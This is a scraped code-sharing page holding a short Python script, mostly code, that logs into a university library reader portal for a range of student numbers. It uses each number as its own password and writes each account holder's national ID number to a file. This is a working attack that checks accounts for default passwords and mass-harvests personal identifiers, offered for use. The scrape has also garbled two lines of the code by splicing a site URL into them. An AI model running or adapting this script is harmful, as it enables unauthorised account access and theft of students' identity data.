首页 > 代码库 > Python 获取学校图书馆OAPC账号对应的身份证号码
Python 获取学校图书馆OAPC账号对应的身份证号码
1 import urllib.request 2 import urllib.parse 3 import http.cookiejar 4 import re 5 6 lib_login = ‘http://xxx.edu.cn/reader/redr_verify.php‘ 7 8 def get_info(number, passwd, myfile): 9 cj = http.cookiejar.CookieJar()10 pro = urllib.request.HTTPCookieProcessor(cj)11 opener = urllib.request.build_opener(pro)12 13 postDict = {14 ‘number‘:str(number),15 ‘passwd‘:str(passwd),16 ‘select‘:‘cert_no‘,17 ‘returnUrl‘:‘‘18 }19 postData =http://www.mamicode.com/ urllib.parse.urlencode(postDict).encode()20 op = opener.open(lib_login, postData)21 data =http://www.mamicode.com/ op.read().decode()22 log_ok = False23 is_login = re.compile(‘<font color="blue">.*</font>‘)24 for x in is_login.findall(data):25 login_ok = re.compile(‘<[^>]+>‘)26 login_ok = login_ok.sub(‘‘, x)27 if login_ok != ‘‘:28 log_ok = True29 else:30 log_ok = False31 if log_ok:32 person_id = re.compile(‘身份证号: </span>\d*</TD>‘)33 for x in person_id.findall(data):34 usr_psw = re.compile(‘<[^>]+>‘)35 usr_psw = usr_psw.sub(‘‘, x)36 usr_psw += ‘\n‘37 number = str(number)38 number += ‘ ‘39 myfile.write(number)40 myfile.write(usr_psw)41 myfile.flush()42 print(number + ‘OK‘)43 print(usr_psw)44 45 f = open(‘wifi2013.txt‘, ‘a‘)46 for i in range(2013002734, 2013003980):47 get_info(i, i, f)48 f.close()
Python 获取学校图书馆OAPC账号对应的身份证号码
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。